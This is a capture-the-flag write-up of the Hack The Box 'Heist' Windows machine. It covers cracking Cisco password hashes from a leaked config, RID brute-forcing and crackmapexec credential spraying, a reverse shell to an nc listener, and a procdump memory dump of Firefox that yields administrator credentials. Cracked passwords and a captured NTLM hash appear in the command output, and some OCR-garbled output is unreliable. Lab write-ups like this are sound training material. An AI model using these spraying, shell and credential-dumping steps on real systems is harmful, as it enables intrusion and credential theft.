HTB Heist Writeup

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HTB Heist Thoughts

https://app.hackthebox.com/machines/201

This was a super fun box considering there isn't a lot of networking representation. Getting to break some cisco hashed passwords was fun. Leveraging those to get a foothold was pretty straight forward but the privesc was one of the more difficult windows boxes I have done. I learned a lot about Windows Process Inspection through the privesc and highly recommend the box.

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1. Skills needed and skills learned

- 1.1. Web Enumeration
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- 1.3. Windows Process Inspection

2. High Overview

The initial scan only showed five open ports and one of them wasn't the least bit interesting. I found my foothold on the website by browsing to the support as a guest, snagging the config file that was uploaded and cracking the cisco type 5/7 hashes offline. The creds I got didn't seem to work on the website so I turned focus to the winrm port. I tested smb against all the creds and finally logged in with hazard@heist.htb and one of the passwords. I used crackmapexec and eventually evil-winrm to pop a user shell. I enumerated the privesc for quite a long time but finally found the todo.txt with a hint and connected that to firefox processes running. I uploaded procdump to dump the info from it. Found creds that turned out to be admin winrm creds and popped an admin shell with them.

Technical Overview

Everything below is a step by step guide on my methods attempted and used, my thought processes and exactly what I did to root the machine.

3. Nmap Enumeration

3.1. Sudo nmap -T4 -p- -a heist.htb

```
PORT STATE SERVICE
80/tcp open http
135/tcp open msrpc
445/tcp open microsoft-ds
5985/tcp open wsman
49669/tcp open unknown
```

3.2. sudo nmap -T4 -p80,135,445,5985,49669 -A -sC -sV -v heist.htb

```
PORT
          STATE SERVICE
80/tcp
                             Microsoft IIS httpd 10.0
          open http
 http-cookie-flags:
      PHPSESSID:
       httponly flag not set
  http-methods:
   Supported Methods: OPTIONS TRACE GET HEAD POST
    Potentially risky methods: TRACE
http-title: Support Login Page
|_Requested resource was login.php
|_http-server-header: Microsoft-IIS/10.0
                             Microsoft Windows RPC
135/tcp open msrpc
445/tcp open microsoft-ds?
5985/tcp open http
                             Microsoft HTTPAPI httpd 2.0 (SSDP/UPnP)
|_http-title: Not Found
|_http-server-header: Microsoft-HTTPAPI/2.0
49669/tcp open msrpc
                            Microsoft Windows RPC
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
TCP Sequence Prediction: Difficulty=263 (Good luck!)
IP ID Sequence Generation: Incremental
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
Host script results:
smb2-security-mode:
    3.1.1:
     Message signing enabled but not required
 smb2-time:
   date: 2021-12-29T20:13:29
   start_date: N/A
|_clock-skew: 6m36s
TRACEROUTE (using port 135/tcp)
HOP RTT
            ADDRESS
1 48.71 ms 10.10.14.1
    44.89 ms heist.htb (10.10.10.149)
```

4. Service Enumeration


- 4.1. As a precursor, I did directory bust, ran nikto and used the whole website tool suite but it was all null when I got the attachments file to crack. I just wanted to note that it is important to do that every time for enumeration sake.
- 4.2. I started with SMB ports for potentially some easy enumeration but there was no way to get anonymous login.

```
(kali® kali)-[~]
$ smbclient -L heist.htb
Enter WORKGROUP\kali's password:
session setup failed: NT_STATUS_ACCESS_DENIED
```


- 4.3. I turned focus to 5985 which was WinRM and found some interesting reads on it but no way in without credentials.
 - 4.3.1. https://pentestlab.blog/tag/winrm/
 - 4.3.2. https://book.hacktricks.xyz/pentesting/5985-5986-pentesting-winrm

```
-(kali⊕kali)-[~]
 -$ nikto -h heist.htb:5985
- Nikto v2.1.6
+ Target IP:
                       10.10.10.149
+ Target Hostname:
                       heist.htb
+ Target Port:
                       5985
                       2021-12-29 15:00:53 (GMT-6)
+ Start Time:
+ Server: Microsoft-HTTPAPI/2.0
+ The anti-clickjacking X-Frame-Options header is not present.
+ The X-XSS-Protection header is not defined. This header can hint to the user agent to protect aga
+ The X-Content-Type-Options header is not set. This could allow the user agent to render the conte
a different fashion to the MIME type
+ No CGI Directories found (use '-C all' to force check all possible dirs)
```

4.4. I moved on to port 80 and enumerated the website.




- 4.5. It was a simple support page.
- 4.6. No basic creds worked so I signed in as guest.




- 4.7. This dumped some very interesting information.
- 4.8. I collected some usernames and inspected the attachment.
- 4.9. Looks to be part of a Cisco router config.

```
← → C 🛕 Not secure | heist.ht /attachments/config.txt
version 12.2
no service pad
service password-encryption
isdn switch-type basic-5ess
hostname ios-1
security passwords min-length 12
enable secret 5 $1$pdQG$o8nrSzsGXeaduXrjlvKc91
username rout3r password 7 0242114B0E143F015F5D1E161713
username admin privilege 15 password 7 02375012182C1A1D751618034F36415408
ip ssh authentication-retries 5
ip ssh version 2
router bgp 100
 synchronization
 bgp log-neighbor-changes
 bgp dampening
 network 192.168.0.0Â mask 300.255.255.0
 timers bgp 3 9
 redistribute connected
ip classless
ip route 0.0.0.0 0.0.0.0 192.168.0.1
access-list 101 permit ip any any
dialer-list 1 protocol ip list 101
no ip http server
no ip http secure-server
line vty 0 4
 session-timeout 600
 authorization exec SSH
 transport input ssh
```

- 4.10. I notice here are the attachments folder and the user hashes in the config.
- 4.11. These are usually pretty weak, especially on IOS 12.2.
- 4.12. My networking experience is paying off. :)
- 4.13. I double checked for any other attachments but the directory was hidden from browsing.



- 4.14. I started away at cracking and popped all three passwords pretty quickly.
- 4.15. Two were popped on a website and the more difficult one was popped in JohnTheRipper.




Type 7 Password:	02375012182C1A1D751618034F36415408
Crack Password	
Plain text:	PROPERTY.

- 4.16. I was able to build a user and password list from these and poke at SMB to confirm creds.
- 4.17. I confirmed Hazard for the username and the password was the type 5 secret from the config.

```
-(kali⊕kali)-[~]
 -$ smbclient -L heist.htb -U hazard
Enter WORKGROUP\hazard's password:
        Sharename
                        Type
                                   Comment
        ADMIN$
                        Disk
                                   Remote Admin
                        Disk
        C$
                                   Default share
        IPC$
                        IPC
                                   Remote IPC
Reconnecting with SMB1 for workgroup listing.
```

- 4.18. I attempted winrm logins from this account but it just wasn't having it. I started reading up on what I could do with this information.
 - 4.18.1. https://blog.ropnop.com/using-credentials-to-own-windows-boxes/
 - 4.18.2. https://www.ivoidwarranties.tech/posts/pentesting-tuts/cme/crackmape xec-cheatsheet/
- 4.19. I eventually found out I could brute force the RIDs of the users to get back information.
- 4.20. The RID is the data in the image below inside the Unique Identifiers for each user.



4.21. This dumped all the users!

```
$ crackmapexec smb heist.htb -u hazard -p
                                                       SUPPORTDESK
                                                                                  * Windows 10.0 Build 17763 x64 (name:SUPPORTDESK)
                  10.10.10.149
ortDesk) (signing:False) (SMBv1:False)
                  10.10.10.149
                                                      SUPPORTDESK
                                                                                  [+] SupportDesk\hazard:stealth1agent
                  10.10.10.149
                                           445
                                                       SUPPORTDESK
                                                                                 [+] Brute forcing RIDs
                                                                                 1+J Brute forcing RIDs
500: SUPPORTDESK\Administrator (SidTypeUser)
501: SUPPORTDESK\Guest (SidTypeUser)
503: SUPPORTDESK\DefaultAccount (SidTypeUser)
504: SUPPORTDESK\WDAGUtilityAccount (SidTypeUser)
513: SUPPORTDESK\None (SidTypeGroup)
1008: SUPPORTDESK\Hazard (SidTypeUser)
1009: SUPPORTDESK\support (SidTypeUser)
1012: SUPPORTDESK\Chase (SidTypeUser)
1013: SUPPORTDESK\Jason (SidTypeUser)
                   10.10.10.149
                                           445
                                                      SUPPORTDESK
                  10.10.10.149
                                            445
                                                      SUPPORTDESK
                  10.10.10.149
                                           445
                                                      SUPPORTDESK
                   10.10.10.149
                                                       SUPPORTDESK
                  10.10.10.149
                                                      SUPPORTDESK
                  10.10.10.149
                                           445
                                                      SUPPORTDESK
                   10.10.10.149
                                                       SUPPORTDESK
                                            445
                   10.10.10.149
                                                       SUPPORTDESK
                                           445
                                           445
                   10.10.10.149
                                                       SUPPORTDESK
```

- 4.22. I now added to my user list and tried another brute force to see what worked.
- 4.23. I popped Chase with another config file password!


```
(kali⊕kali)-[~]
$ crackmapexec winrm heist.htb -d supportdesk -u users -p passwords
                                                   [*] http://10.10.10.149:5985/wsman
                           5985
           10.10.10.149
                                 heist.htb
                                 heist.htb
                                                      supportdesk\hazard:
           10.10.10.149
                           5985
                                                      supportdesk\hazard:
           10.10.10.149
                           5985
                                  heist.htb
                                                      supportdesk\hazard:
supportdesk\hazard:
           10.10.10.149
                           5985
                                 heist.htb
                                 heist.htb
           10.10.10.149
                           5985
                                                      supportdesk\admin:s
           10.10.10.149
                           5985
                                  heist.htb
                                                      supportdesk\admin:$
supportdesk\admin:Q
supportdesk\admin:?
           10.10.10.149
                           5985
                                 heist.htb
WINRM
           10.10.10.149
                           5985
                                 heist.htb
                                  heist.htb
           10.10.10.149
                           5985
                                                      supportdesk\administrator:
           10.10.10.149
                           5985
                                 heist.htb
           10.10.10.149
                                 heist.htb
                                                      supportdesk\administrator:
                           5985
                                 heist.htb
           10.10.10.149
                           5985
                                                      supportdesk\administrator:
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\administrator:
                           5985
                                 heist.htb
                                                      supportdesk\supportadmin:s
           10.10.10.149
           10.10.10.149
                           5985
                                                      supportdesk\supportadmin:$
                                                      supportdesk\supportadmin:Q
           10.10.10.149
                           5985
                                 heist.htb
                                 heist.htb
                                                      supportdesk\supportadmin:?
           10.10.10.149
                           5985
                                                       supportdesk\supportadministrator
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\supportadministrator
           10.10.10.149
                           5985
                                 heist.htb
                                                       supportdesk\supportadministrator
                           5985
                                 heist.htb
           10.10.10.149
WINRM
           10.10.10.149
                           5985
                                 heist.htb
                                                       supportdesk\supportadministrator
                                                      supportdesk\guest:
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\guest:
supportdesk\guest:
supportdesk\guest:
                                 heist.htb
           10.10.10.149
                           5985
           10.10.10.149
                           5985
                                 heist.htb
           10.10.10.149
                           5985
                                 heist.htb
                                                       supportdesk\defaultaccount
                                 heist.htb
                           5985
           10.10.10.149
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\defaultaccount
                                                      supportdesk\defaultaccount supportdesk\defaultaccount
           10.10.10.149
                           5985
                                  heist.htb
                           5985
                                 heist.htb
           10.10.10.149
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\wdautilityaccount
                                                      supportdesk\wdautilityaccount
           10.10.10.149
                           5985
                                 heist.htb
                           5985
                                 heist.htb
                                                      supportdesk\wdautilityaccount - - - - - - - -
           10.10.10.149
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\wdautilityaccount
                                                      supportdesk\none:
           10.10.10.149
                           5985
                                  heist.htb
                                                      supportdesk\none:
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\none:
supportdesk\none:
supportdesk\support
WINRM
           10.10.10.149
                           5985
                                 heist.htb
           10.10.10.149
                           5985
                                  heist.htb
                           5985
                                 heist.htb
           10.10.10.149
                                                      supportdesk\support
           10.10.10.149
                           5985
                                 heist.htb
                                                      supportdesk\support supportdesk\support
           10.10.10.149
                           5985
                                  heist.htb
                           5985
                                 heist.htb
           10.10.10.149
                                                       supportdesk\chase:
           10.10.10.149
                           5985
                                 heist.htb
           10.10.10.149
                                                       supportdesk\chase:
                           5985
                                  heist.htb
           10.10.10.149
                           5985
                                                  [+] supportdesk\chase: (Pwn3d!)
                                 heist.htb
```

4.24. I moved on to use crackmapexec as a shell but ultimately had some issues with it.

```
-(kali⊕kali)-[~]
__$ crackmapexec_winrm_heist.htb -d supportdesk -u chase -p 'Q4)sJu\Y8qz*A3?d' -x whoami
           10.10.10.149
                                   heist.htb
                                                     [*] http://10.10.10.149:5985/wsman
                            5985
                                                     [+] supportdesk\chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)
           10.10.10.149
                            5985
                                   heist.htb
                                                     [+] Executed command
           10.10.10.149
                            5985
                                   heist.htb
            10.10.10.149
                            5985
                                   heist.htb
                                                     supportdesk\chase
```

```
(kali⊛kali)-[~]
 └─$ crackmapexec winrm heist.htb -d supportdesk -u chase -p 'Q4)sJu\Y8qz*A3?d' -x 'ping 10.10.14.21'
               10.10.10.149
                                                                 [*] http://10.10.10.149:5985/wsman
                                   5985
                                            heist.htb
               10.10.10.149
                                   5985
                                            heist.htb
                                                                 [+] supportdesk\chase:Q4)sJu\Y8qz*A3?d (Pwn3d!)
               10.10.10.149
                                   5985
                                            heist.htb
                                                                 [+] Executed command
               10.10.10.149
                                   5985
                                          heist.htb
Pinging 10.10.14.21 with 32 bytes of data:
Reply from 10.10.14.21: bytes=32 time=52ms TTL=63
Ping statistics for 10.10.14.21:
     Packets: Sent = 4, Received = 4, Lost = 0 (0% loss),
Approximate round trip≀times in milli-seconds:
     Minimum = 52ms, Maximum = 52ms, Average = 52ms
```

4.25. If moved onto a full shell that I created from https://revshells.com



4.26. Setup a listener.

```
(kali⊕kali)-[~]

$ sudo nc -lvnp 443

listening on [any] 443 ...
```

4.27. Popped a full shell.

```
(kali@kali)-[~]
$ sudo nc -lvnp 443
listening on [any] 443 ...
connect to [10.10.14.21] from (UNKNOWN) [10.10.10.149] 49685
whoami
supportdesk\chase
PS C:\Users\Chase\Documents>
```

4.28. From here I grabbed the user flag and moved onto privesc.

```
PS C:\Users\Chase\desktop> whoami
supportdesk\chase
PS C:\Users\Chase\desktop> hostname
SupportDesk
PS C:\Users\Chase\desktop> ipconfig
Windows IP Configuration
Ethernet adapter Ethernet0 2:
   Connection-specific DNS Suffix . : htb
   IPv6 Address. . . . . . . . . : dead:beef::1e0
  Link-local IPv6 Address
                          . . . . : fe80::9d62:253:c793:4995%15
   IPv4 Address. . . . . . .
                              . . . : 10.10.10.149
  Subnet Mask . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . : 10.10.10.2
PS C:\Users\Chase\desktop> type c:\users\chase\desktop\user.txt
                          35b8
```

5. Privilege Escalation

- 5.1. I started attempting script tools like winpeas and powerup.ps1 but were having an assortment of issues outside of manual enumeration.
- 5.2. I did talk with someone and they mentioned the behavior was weird but recommended EvilWinRM instead so I quickly moved over to that tool.
- 5.3. I did try different shells and methods before asking and EvilWinRM was just the right tool for this job.

```
(kali kali) - [~/Documents/boxes/heist.htb/evil-winrm]
$ evil-winrm -i heist.htb -u chase -p
Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation: quoting_detection_proc() function is unimplemented on this machine

Data: For more information, check Evil-WinRM Github: https://github.com/Hackplayers/evil-winrm#Remote-path-completion

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Chase\Documents>
```

5.4. Once on EvilWinRM I was able to run powershell scripts like PowerUp.ps1 which led me to be able to see the Firefox processes.

Evil-WinRM PS C:\Users\Chase\Documents> Import-Module c:\windows\temp\t\Privesc *Evil-WinRM* PS C:\Users\Chase\Documents> Get-Command -Module Privesc

CommandType	Name	Version	Source
Alias	Get-CurrentUserTokenGroupSid	3.0.0.0	Privesc
Alias	Invoke-AllChecks	3.0.0.0	Privesc
Function	Add-ServiceDacl	3.0.0.0	Privesc
Function	Enable-Privilege	3.0.0.0	Privesc
Function	Find-PathDLLHijack	3.0.0.0	Privesc
Function	Find-ProcessDLLHijack	3.0.0.0	Privesc
Function	Get-ApplicationHost	3.0.0.0	Privesc
Function	Get-CachedGPPPassword	3.0.0.0	Privesc
Function	Get-ModifiablePath	3.0.0.0	Privesc
Function	Get-ModifiableRegistryAutoRun	3.0.0.0	Privesc
Function	Get-ModifiableScheduledTaskFile	3.0.0.0	Privesc
Function	Get-ModifiableService	3.0.0.0	Privesc
Function	Get-ModifiableServiceFile	3.0.0.0	Privesc
Function	Get-ProcessTokenGroup	3.0.0.0	Privesc
Function	Get-ProcessTokenPrivilege	3.0.0.0	Privesc
Function	Get-RegistryAlwaysInstallElevated	3.0.0.0	Privesc
Function	Get-RegistryAutoLogon	3.0.0.0	Privesc
Function	Get-ServiceDetail	3.0.0.0	Privesc
Function	Get-SiteListPassword	3.0.0.0	Privesc
Function	Get-System	3.0.0.0	Privesc
Function	Get-UnattendedInstallFile	3.0.0.0	Privesc
Function	Get-UnquotedService	3.0.0.0	Privesc
Function	Get-WebConfig	3.0.0.0	Privesc
Function	Install-ServiceBinary	3.0.0.0	Privesc
Function	Invoke-EventVwrBypass	3.0.0.0	Privesc
Function	Invoke-PrivescAudit	3.0.0.0	Privesc
Function	Invoke-ServiceAbuse	3.0.0.0	Privesc
Function	Restore-ServiceBinary	3.0.0.0	Privesc
Function	Set-ServiceBinaryPath	3.0.0.0	Privesc
Function	Test-ServiceDaclPermission	3.0.0.0	Privesc
Function	Write-HijackDll	3.0.0.0	Privesc
Function	Write-ServiceBinary	3.0.0.0	Privesc
Function	Write-UserAddMSI	3.0.0.0	Privesc

*Evil-Wi	nPM+ DS	C'\llsars\	Chase\Docum	ents> det_n	rocess		
Tra	ich	C. (03613)	(Chase (Docum	encs> get-p	100033		
Handles	NPM(K)	PM(K)	WS(K)	CPU(s)	Id	SI	ProcessName
477	10	2220			260		
288	18 13	2228 1956	5360 5000		360 476		csrss
360	15	3536	14616		4628		ctfmon
166	9	1868	9756	0.02	728		dllhost
255	14	3936	13268	0.02	3592		dllhost
614	32	29432	57672		968		dwm
1496	58	23696	78652		4876		explorer
401	33	30316	86972	0.52	804		firefox
1187	69	131104	206880	5.91	4592		firefox
345	19	10212	39072	0.17	5076		firefox
378	28	21688	58380	1.19	6084		firefox
356	25	16588	39280	0.66	6316		firefox
49	6	1788	4636	0.00	772		fontdrvhost
49	6	1500	3844		776		fontdrvhost
ő	0	56	8		0		Idle
959	23	5428	14216		620		lsass
223	13	3000	10208		3860		msdtc
0	12	808	15252		88		Registry
303	16	5504	17024		5352		RuntimeBroker
144	8	1596	7508		5456	1	
275	14	3060	15080		5804	1	RuntimeBroker
674	32	19236	61728		4840	1	SearchUI
556	11	5060	9620		608	0	services
687	28	14832	51760		4712	1	ShellExperienceHost
437	17	4736	23720		4248	1	sihost
53	3	512	1136		264	0	smss
471	23	5732	16208		2360	0	spoolsv
199	12	1984	9644		64	0	svchost
375	13	11944	15720		320	0	svchost
149	9	1716	11636		328		svchost
141	7	1312	5632		580		svchost
85	5	872	3756		744		svchost
870	21	6904	22432		764		svchost
883	17	5160	11552		872		svchost
250	10	1956	7648		912		
125	7	1460	6408		1012	0	svchost

5.5. To get more info on these firefox processes I uploaded and ran procdump.exe

5.6. I took the output file and loaded it back into my attackbox.

```
vil-WinRM* PS C:\windows\temp\t> c:\windows\temp\t\procdump.exe -ma 804 firefox.t
ProcDump v10.11 - Sysinternals process dump utility
Copyright (C) 2009-2021 Mark Russinovich and Andrew Richards
Sysinternals - www.sysinternals.com
[01:51:12] Dump 1 initiated: C:\windows\temp\t\firefox.txt.dmp
[01:51:12] Dump 1 writing: Estimated dump file size is 335 MB.
[01:51:13] Dump 1 complete: 335 MB written in 1.0 seconds
[01:51:13] Dump count reached.
*Evil-WinRM* PS C:\windows\temp\t> dir
   Directory: C:\windows\temp\t
Mode
                    LastWriteTime
                                          Length Name
-a---
              1/6/2022 1:51 AM
                                       342464696 firefox.txt.dmp
              1/6/2022 1:47 AM
                                        401296 procdump.exe
-a---
-a----
              1/6/2022
                       1:48 AM
                                          401296 procdump64.exe
*Evil-WinRM* PS C:\windows\temp\t> download firefox.txt.dmp
```


5.7. I loaded it with Impacket's smb server tool.

```
simpacket-smbserver share _ -smb2support
Impacket v0.9.24 - Copyright 2021 SecureAuth Corporation
                                                                                             130
 ] Config file parsed
[*] Callback added for UUID 4B324FC8-1670-01D3-1278-5A47BF6EE188 V:3.0
** Callback added for UUID 6BFFD098-A112-3610-9833-46C3F87E345A V:1.0
[*] Config file parsed
[*] Config file parsed
[*] Config file parsed
[*] Incoming connection (10.10.10.149,49699)
[*] AUTHENTICATE_MESSAGE (\guest,SUPPORTDESK)
[*] User SUPPORTDESK\guest authenticated successfully
[*] guest:::aaaaaaaaaaaaaa:2c82d6d9433aefa6e928e4465cf0c21f:01010000000000080fa5be57102d801b2363078662a37d1000000
\overline{0001001000480067006b007a00520058004a00730003001000480067006b007a00520058004a007300020010004b00690056006b004800500074}
[*] Closing down connection (10.10.10.149,49699)
[*] Remaining connections []
[*] Incoming connection (10.10.10.149,49700)
[*] Closing down connection (10.10.10.149,49700)
[*] Remaining connections []
[*] Incoming connection (10.10.10.149,49701)
[*] AUTHENTICATE_MESSAGE (\,SUPPORTDESK)
[*] User SUPPORTDESK\ authenticated successfully
   ::: 00 :: aaaaaaaaaaaaaaaa
   Connecting Share(1:IPC$)
[*] Connecting Share(2:share)
```

5.8. I started digging the dump for keywords like usernames and passwords and eventually fell on this line.

```
igest256,social-track-digest256,analytics-track-digest256,base-tingerprinting-track-digest256,content-tingerprinting
-track-digest256,base-cryptomining-track-digest256,content-cryptomining-track-digest256,fanboyannoyance-ads-digest25
6,fanboysocial-ads-digest256,easylist-ads-digest256,easyprivacy-ads-digest256,adguard-ads-digest256,social-tracking-
protection-digest256,social-tracking-protection-facebook-digest256,social-tracking-protection-linkedin-digest256,soc
ial-tracking-protection-twitter-digest256
http://localhost/login.php?login_username=admin@support.htb&login_
        SavingEnabled
localization/en-US/toolkit/
                                                  ManagerList.ftlPK
                                     dmgr/
                                 asswords.jsPK
Imgr/pass
modules/services-sync/engines/pass
chrome/toolkit/content/
chrome/toolkit/content/
                                              Manager.jsPK
chrome/toolkit/content/
                                              Manager.xulPK
                                 mgr/
```

- 5.9. A cleartext login to the website.
- 5.10. I took it to the website to login as admin but there was nothing interesting there.



5.11. I retried the creds in EvilWinRM and popped a system shell!

```
(kali® kali)-[~/Documents/boxes/heist.htb/evil-winrm]
$ evil-winrm -i heist.htb -u administrator -p
Evil-WinRM shell v3.3

Warning: Remote path completions is disabled due to ruby limitation ted on this machine

Data: For more information, check Evil-WinRM Github: https://github.n

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\Administrator\Documents> whoami supportdesk\administrator
```

```
*Evil-WinRM* PS C:\Users\Administrator\desktop> whoami
supportdesk\administrator
*Evil-WinRM* PS C:\Users\Administrator\desktop> hostname
SupportDesk
*Evil-WinRM* PS C:\Users\Administrator\desktop> ipconfig

Windows IP Configuration

Ethernet adapter Ethernet0 2:

Connection-specific DNS Suffix .: htb
IPv6 Address. . . . . . . . dead:beef::19f
Link-local IPv6 Address . . . . . . . . fe80::1132:9ab9:fe26:68fc%15
IPv4 Address. . . . . . . . . 10.10.10.149
Subnet Mask . . . . . . . . . 255.255.255.0
Default Gateway . . . . . . . . . 10.10.10.2

*Evil-WinRM* PS C:\Users\Administrator\desktop> type c:\users\administrator\desktop\root.txt
7a6
IBdff
```